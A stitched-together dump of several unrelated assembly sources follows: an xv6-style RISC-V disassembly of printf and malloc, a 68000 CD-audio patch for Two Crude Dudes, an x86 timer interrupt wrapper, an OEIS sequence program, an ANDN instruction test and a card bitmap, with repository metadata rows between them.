5fe: 000b2583 lw a1,0(s6)
602: 8556 mv a0,s5
604: 00000097 auipc ra,0x0
608: e70080e7 jalr -400(ra) # 474 <printint>
60c: 8b4a mv s6,s2
state = 0;
60e: 4981 li s3,0
610: bf85 j 580 <vprintf+0x60>
printptr(fd, va_arg(ap, uint64));
612: 008b0793 addi a5,s6,8
616: f8f43423 sd a5,-120(s0)
61a: 000b3983 ld s3,0(s6)
putc(fd, '0');
61e: 03000593 li a1,48
622: 8556 mv a0,s5
624: 00000097 auipc ra,0x0
628: e2e080e7 jalr -466(ra) # 452 <putc>
putc(fd, 'x');
62c: 07800593 li a1,120
630: 8556 mv a0,s5
632: 00000097 auipc ra,0x0
636: e20080e7 jalr -480(ra) # 452 <putc>
63a: 896a mv s2,s10
putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]);
63c: 03c9d793 srli a5,s3,0x3c
640: 97de add a5,a5,s7
642: 0007c583 lbu a1,0(a5)
646: 8556 mv a0,s5
648: 00000097 auipc ra,0x0
64c: e0a080e7 jalr -502(ra) # 452 <putc>
for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4)
650: 0992 slli s3,s3,0x4
652: 397d addiw s2,s2,-1
654: fe0914e3 bnez s2,63c <vprintf+0x11c>
printptr(fd, va_arg(ap, uint64));
658: f8843b03 ld s6,-120(s0)
state = 0;
65c: 4981 li s3,0
65e: b70d j 580 <vprintf+0x60>
s = va_arg(ap, char*);
660: 008b0913 addi s2,s6,8
664: 000b3983 ld s3,0(s6)
if(s == 0)
668: 02098163 beqz s3,68a <vprintf+0x16a>
while(*s != 0){
66c: 0009c583 lbu a1,0(s3)
670: c5ad beqz a1,6da <vprintf+0x1ba>
putc(fd, *s);
672: 8556 mv a0,s5
674: 00000097 auipc ra,0x0
678: dde080e7 jalr -546(ra) # 452 <putc>
s++;
67c: 0985 addi s3,s3,1
while(*s != 0){
67e: 0009c583 lbu a1,0(s3)
682: f9e5 bnez a1,672 <vprintf+0x152>
s = va_arg(ap, char*);
684: 8b4a mv s6,s2
state = 0;
686: 4981 li s3,0
688: bde5 j 580 <vprintf+0x60>
s = "(null)";
68a: 00000997 auipc s3,0x0
68e: 28e98993 addi s3,s3,654 # 918 <malloc+0x134>
while(*s != 0){
692: 85ee mv a1,s11
694: bff9 j 672 <vprintf+0x152>
putc(fd, va_arg(ap, uint));
696: 008b0913 addi s2,s6,8
69a: 000b4583 lbu a1,0(s6)
69e: 8556 mv a0,s5
6a0: 00000097 auipc ra,0x0
6a4: db2080e7 jalr -590(ra) # 452 <putc>
6a8: 8b4a mv s6,s2
state = 0;
6aa: 4981 li s3,0
6ac: bdd1 j 580 <vprintf+0x60>
putc(fd, c);
6ae: 85d2 mv a1,s4
6b0: 8556 mv a0,s5
6b2: 00000097 auipc ra,0x0
6b6: da0080e7 jalr -608(ra) # 452 <putc>
state = 0;
6ba: 4981 li s3,0
6bc: b5d1 j 580 <vprintf+0x60>
putc(fd, '%');
6be: 85d2 mv a1,s4
6c0: 8556 mv a0,s5
6c2: 00000097 auipc ra,0x0
6c6: d90080e7 jalr -624(ra) # 452 <putc>
putc(fd, c);
6ca: 85ca mv a1,s2
6cc: 8556 mv a0,s5
6ce: 00000097 auipc ra,0x0
6d2: d84080e7 jalr -636(ra) # 452 <putc>
state = 0;
6d6: 4981 li s3,0
6d8: b565 j 580 <vprintf+0x60>
s = va_arg(ap, char*);
6da: 8b4a mv s6,s2
state = 0;
6dc: 4981 li s3,0
6de: b54d j 580 <vprintf+0x60>
}
}
}
6e0: 70e6 ld ra,120(sp)
6e2: 7446 ld s0,112(sp)
6e4: 74a6 ld s1,104(sp)
6e6: 7906 ld s2,96(sp)
6e8: 69e6 ld s3,88(sp)
6ea: 6a46 ld s4,80(sp)
6ec: 6aa6 ld s5,72(sp)
6ee: 6b06 ld s6,64(sp)
6f0: 7be2 ld s7,56(sp)
6f2: 7c42 ld s8,48(sp)
6f4: 7ca2 ld s9,40(sp)
6f6: 7d02 ld s10,32(sp)
6f8: 6de2 ld s11,24(sp)
6fa: 6109 addi sp,sp,128
6fc: 8082 ret
00000000000006fe <fprintf>:
void
fprintf(int fd, const char *fmt, ...)
{
6fe: 715d addi sp,sp,-80
700: ec06 sd ra,24(sp)
702: e822 sd s0,16(sp)
704: 1000 addi s0,sp,32
706: e010 sd a2,0(s0)
708: e414 sd a3,8(s0)
70a: e818 sd a4,16(s0)
70c: ec1c sd a5,24(s0)
70e: 03043023 sd a6,32(s0)
712: 03143423 sd a7,40(s0)
va_list ap;
va_start(ap, fmt);
716: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
71a: 8622 mv a2,s0
71c: 00000097 auipc ra,0x0
720: e04080e7 jalr -508(ra) # 520 <vprintf>
}
724: 60e2 ld ra,24(sp)
726: 6442 ld s0,16(sp)
728: 6161 addi sp,sp,80
72a: 8082 ret
000000000000072c <printf>:
void
printf(const char *fmt, ...)
{
72c: 711d addi sp,sp,-96
72e: ec06 sd ra,24(sp)
730: e822 sd s0,16(sp)
732: 1000 addi s0,sp,32
734: e40c sd a1,8(s0)
736: e810 sd a2,16(s0)
738: ec14 sd a3,24(s0)
73a: f018 sd a4,32(s0)
73c: f41c sd a5,40(s0)
73e: 03043823 sd a6,48(s0)
742: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
746: 00840613 addi a2,s0,8
74a: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
74e: 85aa mv a1,a0
750: 4505 li a0,1
752: 00000097 auipc ra,0x0
756: dce080e7 jalr -562(ra) # 520 <vprintf>
}
75a: 60e2 ld ra,24(sp)
75c: 6442 ld s0,16(sp)
75e: 6125 addi sp,sp,96
760: 8082 ret
0000000000000762 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
762: 1141 addi sp,sp,-16
764: e422 sd s0,8(sp)
766: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
768: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
76c: 00000797 auipc a5,0x0
770: 2247b783 ld a5,548(a5) # 990 <freep>
774: a02d j 79e <free+0x3c>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
776: 4618 lw a4,8(a2)
778: 9f2d addw a4,a4,a1
77a: fee52c23 sw a4,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
77e: 6398 ld a4,0(a5)
780: 6310 ld a2,0(a4)
782: a83d j 7c0 <free+0x5e>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
784: ff852703 lw a4,-8(a0)
788: 9f31 addw a4,a4,a2
78a: c798 sw a4,8(a5)
p->s.ptr = bp->s.ptr;
78c: ff053683 ld a3,-16(a0)
790: a091 j 7d4 <free+0x72>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
792: 6398 ld a4,0(a5)
794: 00e7e463 bltu a5,a4,79c <free+0x3a>
798: 00e6ea63 bltu a3,a4,7ac <free+0x4a>
{
79c: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
79e: fed7fae3 bgeu a5,a3,792 <free+0x30>
7a2: 6398 ld a4,0(a5)
7a4: 00e6e463 bltu a3,a4,7ac <free+0x4a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7a8: fee7eae3 bltu a5,a4,79c <free+0x3a>
if(bp + bp->s.size == p->s.ptr){
7ac: ff852583 lw a1,-8(a0)
7b0: 6390 ld a2,0(a5)
7b2: 02059813 slli a6,a1,0x20
7b6: 01c85713 srli a4,a6,0x1c
7ba: 9736 add a4,a4,a3
7bc: fae60de3 beq a2,a4,776 <free+0x14>
bp->s.ptr = p->s.ptr->s.ptr;
7c0: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
7c4: 4790 lw a2,8(a5)
7c6: 02061593 slli a1,a2,0x20
7ca: 01c5d713 srli a4,a1,0x1c
7ce: 973e add a4,a4,a5
7d0: fae68ae3 beq a3,a4,784 <free+0x22>
p->s.ptr = bp->s.ptr;
7d4: e394 sd a3,0(a5)
} else
p->s.ptr = bp;
freep = p;
7d6: 00000717 auipc a4,0x0
7da: 1af73d23 sd a5,442(a4) # 990 <freep>
}
7de: 6422 ld s0,8(sp)
7e0: 0141 addi sp,sp,16
7e2: 8082 ret
00000000000007e4 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
7e4: 7139 addi sp,sp,-64
7e6: fc06 sd ra,56(sp)
7e8: f822 sd s0,48(sp)
7ea: f426 sd s1,40(sp)
7ec: f04a sd s2,32(sp)
7ee: ec4e sd s3,24(sp)
7f0: e852 sd s4,16(sp)
7f2: e456 sd s5,8(sp)
7f4: e05a sd s6,0(sp)
7f6: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7f8: 02051493 slli s1,a0,0x20
7fc: 9081 srli s1,s1,0x20
7fe: 04bd addi s1,s1,15
800: 8091 srli s1,s1,0x4
802: 0014899b addiw s3,s1,1
806: 0485 addi s1,s1,1
if((prevp = freep) == 0){
808: 00000517 auipc a0,0x0
80c: 18853503 ld a0,392(a0) # 990 <freep>
810: c515 beqz a0,83c <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
812: 611c ld a5,0(a0)
if(p->s.size >= nunits){
814: 4798 lw a4,8(a5)
816: 02977f63 bgeu a4,s1,854 <malloc+0x70>
81a: 8a4e mv s4,s3
81c: 0009871b sext.w a4,s3
820: 6685 lui a3,0x1
822: 00d77363 bgeu a4,a3,828 <malloc+0x44>
826: 6a05 lui s4,0x1
828: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
82c: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
830: 00000917 auipc s2,0x0
834: 16090913 addi s2,s2,352 # 990 <freep>
if(p == (char*)-1)
838: 5afd li s5,-1
83a: a895 j 8ae <malloc+0xca>
base.s.ptr = freep = prevp = &base;
83c: 00000797 auipc a5,0x0
840: 35c78793 addi a5,a5,860 # b98 <base>
844: 00000717 auipc a4,0x0
848: 14f73623 sd a5,332(a4) # 990 <freep>
84c: e39c sd a5,0(a5)
base.s.size = 0;
84e: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
852: b7e1 j 81a <malloc+0x36>
if(p->s.size == nunits)
854: 02e48c63 beq s1,a4,88c <malloc+0xa8>
p->s.size -= nunits;
858: 4137073b subw a4,a4,s3
85c: c798 sw a4,8(a5)
p += p->s.size;
85e: 02071693 slli a3,a4,0x20
862: 01c6d713 srli a4,a3,0x1c
866: 97ba add a5,a5,a4
p->s.size = nunits;
868: 0137a423 sw s3,8(a5)
freep = prevp;
86c: 00000717 auipc a4,0x0
870: 12a73223 sd a0,292(a4) # 990 <freep>
return (void*)(p + 1);
874: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0)
return 0;
}
}
878: 70e2 ld ra,56(sp)
87a: 7442 ld s0,48(sp)
87c: 74a2 ld s1,40(sp)
87e: 7902 ld s2,32(sp)
880: 69e2 ld s3,24(sp)
882: 6a42 ld s4,16(sp)
884: 6aa2 ld s5,8(sp)
886: 6b02 ld s6,0(sp)
888: 6121 addi sp,sp,64
88a: 8082 ret
prevp->s.ptr = p->s.ptr;
88c: 6398 ld a4,0(a5)
88e: e118 sd a4,0(a0)
890: bff1 j 86c <malloc+0x88>
hp->s.size = nu;
892: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
896: 0541 addi a0,a0,16
898: 00000097 auipc ra,0x0
89c: eca080e7 jalr -310(ra) # 762 <free>
return freep;
8a0: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0)
8a4: d971 beqz a0,878 <malloc+0x94>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
8a6: 611c ld a5,0(a0)
if(p->s.size >= nunits){
8a8: 4798 lw a4,8(a5)
8aa: fa9775e3 bgeu a4,s1,854 <malloc+0x70>
if(p == freep)
8ae: 00093703 ld a4,0(s2)
8b2: 853e mv a0,a5
8b4: fef719e3 bne a4,a5,8a6 <malloc+0xc2>
p = sbrk(nu * sizeof(Header));
8b8: 8552 mv a0,s4
8ba: 00000097 auipc ra,0x0
8be: b58080e7 jalr -1192(ra) # 412 <sbrk>
if(p == (char*)-1)
8c2: fd5518e3 bne a0,s5,892 <malloc+0xae>
return 0;
8c6: 4501 li a0,0
8c8: bf45 j 878 <malloc+0x94>
| 29.329227 | 62 | 0.46238 |
358b47937059535f6f3897e8337c1ac234d23af4 | 5,450 | asm | Assembly | patch.asm | jvisser/msu-md-two-crude-dudes | f5ecfa105113e0888b1c373b45d7d280b1d126a6 | [
"CC0-1.0"
] | 2 | 2021-06-22T14:17:19.000Z | 2022-01-17T16:08:17.000Z | patch.asm | jvisser/msu-md-two-crude-dudes | f5ecfa105113e0888b1c373b45d7d280b1d126a6 | [
"CC0-1.0"
] | null | null | null | patch.asm | jvisser/msu-md-two-crude-dudes | f5ecfa105113e0888b1c373b45d7d280b1d126a6 | [
"CC0-1.0"
] | null | null | null | ; Mega CD MMIO addresses used for communicating with msu-md driver on the mega cd (mode 1)
MSU_COMM_CMD equ $a12010 ; Comm command 0 (high byte)
MSU_COMM_ARG equ $a12011 ; Comm command 0 (low byte)
MSU_COMM_CMD_CK equ $a1201f ; Comm command 7 (low byte)
MSU_COMM_STATUS equ $a12020 ; Comm status 0 (0-ready, 1-init, 2-cmd busy)
; msu-md commands
MSU_PLAY equ $1100 ; PLAY decimal no. of track (1-99) playback will be stopped in the end of track
MSU_PLAY_LOOP equ $1200 ; PLAY LOOP decimal no. of track (1-99) playback will restart the track when end is reached
MSU_PAUSE equ $1300 ; PAUSE vol fading time. 1/75 of sec. (75 equal to 1 sec) instant stop if 0 pause playback
MSU_RESUME equ $1400 ; RESUME none. resume playback
MSU_VOL equ $1500 ; VOL volume 0-255. set cdda volume
MSU_NOSEEK equ $1600 ; NOSEEK 0-on(default state), 1-off(no seek delays) seek time emulation switch
MSU_PLAYOF equ $1a00 ; PLAYOF #1 = decimal no. of track (1-99) #2 = offset in sectors from the start of the track to apply when looping play cdda track and loop from specified sector offset
Z80_BUS_REQUEST equ $a11100
; Where to put the code
ROM_END equ $ff814
; MACROS: ------------------------------------------------------------------------------------------
macro MSU_WAIT
.\@
tst.b MSU_COMM_STATUS
bne.s .\@
endm
macro MSU_COMMAND cmd, param
MSU_WAIT
move.w #(\1|\2),MSU_COMM_CMD ; Send msu cmd
addq.b #1,MSU_COMM_CMD_CK ; Increment command clock
endm
; MEGA DRIVE OVERRIDES : ------------------------------------------------------------------------------------------
; M68000 Reset vector
org $4
dc.l ENTRY_POINT ; Custom entry point for redirecting
org $338 ; Original ENTRY POINT
Game
; music_driver_play_track (50 bytes available)
org $6ac
music_driver_play_track ; d0 = track id
MSU_WAIT
lea AUDIO_TBL.l,a1
ext.w d0
add.w d0,d0
move.w (a1,d0),d0
move.w d0,MSU_COMM_CMD ; Send msu cmd
addq.b #1,MSU_COMM_CMD_CK ; Increment command clock
rts
; 36 bytes total
; music_driver_command (42 bytes available)
; 1 = fade out
; 2 = start track (needs track id see music_driver_play_track)
; 3 = stop play
; 4 = pause
; 5 = resume
org $73c
music_driver_command ; d0 = command
MSU_WAIT
move.w d0,d1
ext.w d1
subq.w #1,d1
add.w d1,d1
lea DRIVER_CMD_TBL,a1
move.w (a1,d1),MSU_COMM_CMD ; Send msu cmd
addq.b #1,MSU_COMM_CMD_CK ; Increment command clock
rts
; 38 bytes total
; MSU-MD Init: -------------------------------------------------------------------------------------
org ROM_END
ENTRY_POINT
bsr.s audio_init
jmp Game.w
audio_init
; Decompress msu-md driver
moveq #-1,d0
clr.w d0 ; $ffff0000
movea.l d0,a5
lea msu_driver(pc),a6
bsr.s DecompressSlz
; Init msu-md driver (once initialized correctly the driver will be loaded into Mega CD PRG-RAM so we can discard the decompressed driver)
movea.l d0,a5
jsr (a5)
tst.b d0 ; if 1: no CD Hardware found
.audio_init_fail
bne.s .audio_init_fail ; Loop forever
MSU_COMMAND MSU_NOSEEK, 1
MSU_COMMAND MSU_VOL, 255
rts
include "slz.asm"
; TABLES: ------------------------------------------------------------------------------------------
align 2
AUDIO_TBL ; #Track Name
dc.w MSU_PLAY|11 ; 11 - Intro
dc.w MSU_PLAY_LOOP|01 ; 01 - Crude Buster - The Lifeline of New York - (BGM 1)
dc.w MSU_PLAY_LOOP|02 ; 02 - Funky Monsters (Boss 1)
dc.w MSU_PLAY|03 ; 03 - Defeated Guys (Clear)
dc.w MSU_PLAY_LOOP|04 ; 04 - Take a Break (Beer)
dc.w MSU_PLAY_LOOP|05 ; 05 - Like a Hurricane (BGM 2)
dc.w MSU_PLAY_LOOP|06 ; 06 - Fallout of Christmas (BGM 3)
dc.w MSU_PLAY_LOOP|07 ; 07 - Kids in Battle (Boss 2)
dc.w MSU_PLAY_LOOP|08 ; 08 - The Wild Desire (BGM 4)
dc.w MSU_PLAY|09 ; 09 - Justice has Won (Ending)
dc.w MSU_PLAY|10 ; 10 - The Crude is Down (Game Over)
DRIVER_CMD_TBL
dc.w MSU_PAUSE|(75*2)
dc.w MSU_RESUME
dc.w MSU_PAUSE
dc.w MSU_PAUSE
dc.w MSU_RESUME
; MSU-MD DRIVER: -----------------------------------------------------------------------------------
align 2
msu_driver
incbin "msu-drv.slz"
| 41.287879 | 219 | 0.47633 |
b5b106cb13a41403fdd8c6b0f5b523bd23ab02ba | 215 | asm | Assembly | src/arch/i686/int_routines/pit_irq_wrapper.asm | miklhh/os4 | 8fb7d926bb44a498ac50a4fd0dc2c1c8e0941d74 | [
"MIT"
] | 3 | 2017-08-23T12:56:09.000Z | 2017-10-30T13:42:16.000Z | src/arch/i686/int_routines/pit_irq_wrapper.asm | miklhh/os4 | 8fb7d926bb44a498ac50a4fd0dc2c1c8e0941d74 | [
"MIT"
] | null | null | null | src/arch/i686/int_routines/pit_irq_wrapper.asm | miklhh/os4 | 8fb7d926bb44a498ac50a4fd0dc2c1c8e0941d74 | [
"MIT"
] | null | null | null | ;
; Part of OS4, pit_irq_wrapper
; Author Mikael Henriksson, miklhh
;
global pit_irq_wrapper:function (pit_irq_wrapper.end - pit_irq_wrapper)
pit_irq_wrapper:
pusha
extern pit_irq
call pit_irq
popa
iret
.end:
| 15.357143 | 71 | 0.786047 |
fe66a615ac200766fa2393dac7759866294f9bf9 | 378 | asm | Assembly | programs/oeis/136/A136466.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/136/A136466.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/136/A136466.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A136466: Row 2 of square array A136462: a(n) = C(3*2^(n-1), n) for n>=0.
; 1,3,15,220,10626,1712304,927048304,1708566412608,10895665708319184,244373929798154341120,19561373281624772727757056,5658395223117478029148167447552
mov $2,$0
seq $0,170108 ; Number of reduced words of length n in Coxeter group on 3 generators S_i with relations (S_i)^2 = (S_i S_j)^38 = I.
bin $0,$2
| 54 | 149 | 0.753968 |
21966c792fa27723eb80c158dfcd222b08e320c7 | 394 | asm | Assembly | sw/552tests/inst_tests/andn_1.asm | JPShen-UWM/ThreadKraken | 849c510531f28e36d3469535737b2120bd774935 | [
"MIT"
] | 1 | 2022-02-15T16:03:25.000Z | 2022-02-15T16:03:25.000Z | sw/552tests/inst_tests/andn_1.asm | JPShen-UWM/ThreadKraken | 849c510531f28e36d3469535737b2120bd774935 | [
"MIT"
] | null | null | null | sw/552tests/inst_tests/andn_1.asm | JPShen-UWM/ThreadKraken | 849c510531f28e36d3469535737b2120bd774935 | [
"MIT"
] | null | null | null | // Original test: ./hartung/hw4/problem6/andn_1.asm
// Author: hartung
// Test source code follows
//This tests the operation of ANDN
//and dependency of Rs on the result
//of the previous operation.
lbi r1, 0xff //expected r1=0xffff
lbi r2, 0x01 //expected r2=0x0001
andn r3, r1, r2 //expected r3=0xfffe
andn r4, r2, r3 //expected r4=0x0001
andn r5, r3, r4 //expected r5=0xfffe
halt
| 23.176471 | 51 | 0.715736 |
46b2705451c3ba2b65bbed1de2cb7101379bd621 | 363 | asm | Assembly | programs/oeis/001/A001542.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/001/A001542.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/001/A001542.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A001542: a(n) = 6*a(n-1) - a(n-2) for n > 1, a(0)=0 and a(1)=2.
; 0,2,12,70,408,2378,13860,80782,470832,2744210,15994428,93222358,543339720,3166815962,18457556052,107578520350,627013566048,3654502875938,21300003689580,124145519261542,723573111879672,4217293152016490
mov $3,1
lpb $0,1
sub $0,1
mov $2,$3
add $2,$3
add $1,$2
add $3,$1
add $3,$1
lpe
| 27.923077 | 202 | 0.694215 |
0e936a9a624897aec0bf5f46f21c7f60f47c9474 | 6,264 | asm | Assembly | Appl/Art/Decks/GeoDeck/LMClubJ.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Art/Decks/GeoDeck/LMClubJ.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Art/Decks/GeoDeck/LMClubJ.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | LMClubJ label byte
word C_BLACK
Bitmap <71,100,0,BMF_MONO>
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
0x80
db 0x83, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05,
0xc0
db 0x83, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0xc0
db 0x80, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b,
0xa0
db 0x80, 0xc0, 0x00, 0x00, 0x3f, 0xf8, 0x00, 0x17,
0x70
db 0x80, 0xc0, 0x00, 0x03, 0xdf, 0xe7, 0x00, 0x1f,
0xf0
db 0x80, 0xc0, 0x00, 0x0f, 0xd8, 0x2f, 0xc0, 0x1f,
0xf0
db 0x80, 0xc0, 0x00, 0x0b, 0x4c, 0x4d, 0xf8, 0x0d,
0x60
db 0x80, 0xc0, 0x00, 0x09, 0xac, 0x5a, 0xfc, 0x03,
0x80
db 0x80, 0xcf, 0xff, 0xfd, 0xac, 0xb5, 0xff, 0xe7,
0xc0
db 0x80, 0xc8, 0x00, 0x05, 0xac, 0xb5, 0x00, 0x20,
0x00
db 0x98, 0xc8, 0x0e, 0x02, 0xef, 0xba, 0x00, 0x20,
0x00
db 0x98, 0xc8, 0x17, 0x02, 0x00, 0x02, 0x00, 0x20,
0x00
db 0x98, 0xc8, 0x2f, 0x81, 0xff, 0xfe, 0x00, 0x20,
0x00
db 0x9f, 0xc8, 0x3f, 0x81, 0xaa, 0x0a, 0x00, 0x20,
0x00
db 0x8f, 0x88, 0x3f, 0x81, 0x54, 0x05, 0x00, 0x50,
0x00
db 0x80, 0x08, 0x1f, 0x02, 0xa8, 0x05, 0x00, 0xa8,
0x00
db 0x80, 0x08, 0xee, 0xe2, 0xaf, 0x35, 0x01, 0x74,
0x00
db 0x80, 0x09, 0x75, 0x72, 0xa9, 0xdd, 0x02, 0xfa,
0x00
db 0x80, 0x0a, 0xfe, 0xfa, 0xa8, 0x45, 0x07, 0x07,
0x00
db 0x80, 0x0b, 0xff, 0xfa, 0xa8, 0x24, 0xc1, 0xff,
0x80
db 0x80, 0x0b, 0xff, 0xfa, 0xa8, 0x25, 0x41, 0x07,
0xc0
db 0x80, 0x09, 0xf5, 0xf2, 0xa8, 0x65, 0xc1, 0x77,
0x00
db 0x80, 0x08, 0xe4, 0xe7, 0xa8, 0x05, 0x01, 0x57,
0x00
db 0x80, 0x08, 0x0e, 0x09, 0x68, 0xe5, 0x81, 0x77,
0x00
db 0x80, 0x08, 0x1f, 0x0a, 0xdc, 0x0d, 0x41, 0x57,
0x00
db 0x80, 0x08, 0x00, 0x7f, 0x37, 0x1e, 0x41, 0xf7,
0x00
db 0x80, 0x14, 0x03, 0xf7, 0xc8, 0xfb, 0x82, 0x0f,
0x00
db 0x80, 0x2a, 0x0c, 0xed, 0xf8, 0x3f, 0x74, 0x7f,
0x00
db 0x80, 0x5d, 0x30, 0xf7, 0xac, 0x7b, 0x4c, 0xd3,
0x00
db 0x80, 0x55, 0x40, 0xdb, 0xd6, 0xdf, 0x35, 0x6f,
0x00
db 0x80, 0x5d, 0xc0, 0xf7, 0xcb, 0xbb, 0x45, 0x53,
0x80
db 0x80, 0x55, 0xa0, 0xed, 0xf5, 0x5f, 0x35, 0x6f,
0x80
db 0x80, 0x5d, 0xd0, 0xf7, 0xb2, 0x9b, 0x45, 0x53,
0x80
db 0x80, 0x55, 0xb0, 0xdb, 0x9d, 0x7f, 0x37, 0x7f,
0x80
db 0x80, 0x5d, 0xf8, 0xf7, 0x9c, 0x7b, 0x1b, 0x57,
0x80
db 0x80, 0x55, 0xec, 0xed, 0x97, 0xdf, 0x75, 0x77,
0x80
db 0x80, 0x5d, 0x7c, 0xf7, 0x9b, 0x9b, 0xbb, 0x57,
0x80
db 0x80, 0x55, 0x76, 0xdb, 0x95, 0x0f, 0xd5, 0x77,
0x00
db 0x80, 0x5d, 0xbe, 0xf7, 0x99, 0x0d, 0x9b, 0x57,
0x00
db 0x80, 0x55, 0x3b, 0xfd, 0x95, 0x0f, 0xad, 0x77,
0x00
db 0x80, 0x5d, 0x5f, 0xff, 0x99, 0x0d, 0xcf, 0x57,
0x00
db 0x80, 0x55, 0x9b, 0xd7, 0xf5, 0x0f, 0x93, 0x77,
0x00
db 0x80, 0x5d, 0x2f, 0xaa, 0xf9, 0x0d, 0xa5, 0x57,
0x00
db 0x80, 0x55, 0x4d, 0xfd, 0x5d, 0x07, 0xc9, 0x77,
0x00
db 0x80, 0x5d, 0x9f, 0xff, 0xad, 0x06, 0xd3, 0x57,
0x00
db 0x80, 0x55, 0x26, 0xc3, 0xd7, 0x07, 0xe5, 0x77,
0x00
db 0x80, 0x5d, 0x4f, 0xc1, 0xeb, 0x86, 0xc9, 0x57,
0x00
db 0x80, 0x55, 0x96, 0xc1, 0x75, 0xff, 0xf3, 0x77,
0x00
db 0x80, 0x5d, 0x27, 0xc1, 0x7a, 0xbf, 0x65, 0x57,
0x00
db 0x80, 0x55, 0x4b, 0x61, 0x3f, 0x57, 0xe9, 0x77,
0x00
db 0x80, 0x5d, 0x93, 0xe1, 0x5f, 0xeb, 0xb3, 0x57,
0x00
db 0x80, 0x55, 0xe7, 0x61, 0x33, 0xff, 0xf5, 0x77,
0x00
db 0x80, 0x5d, 0x6b, 0xe1, 0x53, 0x7f, 0xb9, 0x57,
0x00
db 0x80, 0x55, 0xb3, 0x61, 0x33, 0xde, 0xfb, 0x77,
0x00
db 0x80, 0x5d, 0x57, 0xe1, 0x53, 0xb6, 0xdd, 0x57,
0x00
db 0x80, 0x55, 0xbb, 0xb3, 0xb3, 0xde, 0x7d, 0x77,
0x00
db 0x80, 0x5d, 0x5d, 0xf7, 0xd3, 0x6e, 0x6f, 0x57,
0x00
db 0x80, 0x55, 0xb1, 0xbc, 0x73, 0xde, 0x3f, 0x77,
0x00
db 0x80, 0x7d, 0xd9, 0xfd, 0x73, 0xb6, 0x1b, 0x57,
0x00
db 0x80, 0x95, 0x45, 0xb2, 0x9b, 0xde, 0x1f, 0x77,
0x00
db 0x80, 0x6d, 0x59, 0xf5, 0x5f, 0x6e, 0x0f, 0x57,
0x00
db 0x80, 0x95, 0x45, 0xbb, 0xa7, 0xde, 0x07, 0x77,
0x00
db 0x80, 0x6d, 0x59, 0xf6, 0xd7, 0xb6, 0x05, 0x57,
0x00
db 0x80, 0x96, 0x65, 0xbc, 0x6b, 0xde, 0x19, 0x77,
0x00
db 0x80, 0x7c, 0x5d, 0xf8, 0x3f, 0x6e, 0x60, 0xaf,
0x00
db 0x80, 0x60, 0x83, 0xbe, 0x27, 0xdf, 0x80, 0x5f,
0x00
db 0x80, 0x5f, 0x04, 0xf1, 0xd9, 0xfc, 0x00, 0x3f,
0x00
db 0x80, 0x55, 0x05, 0x60, 0x76, 0xa1, 0xf0, 0x2e,
0x00
db 0x80, 0x5d, 0x03, 0x4e, 0x2d, 0x20, 0xe0, 0x24,
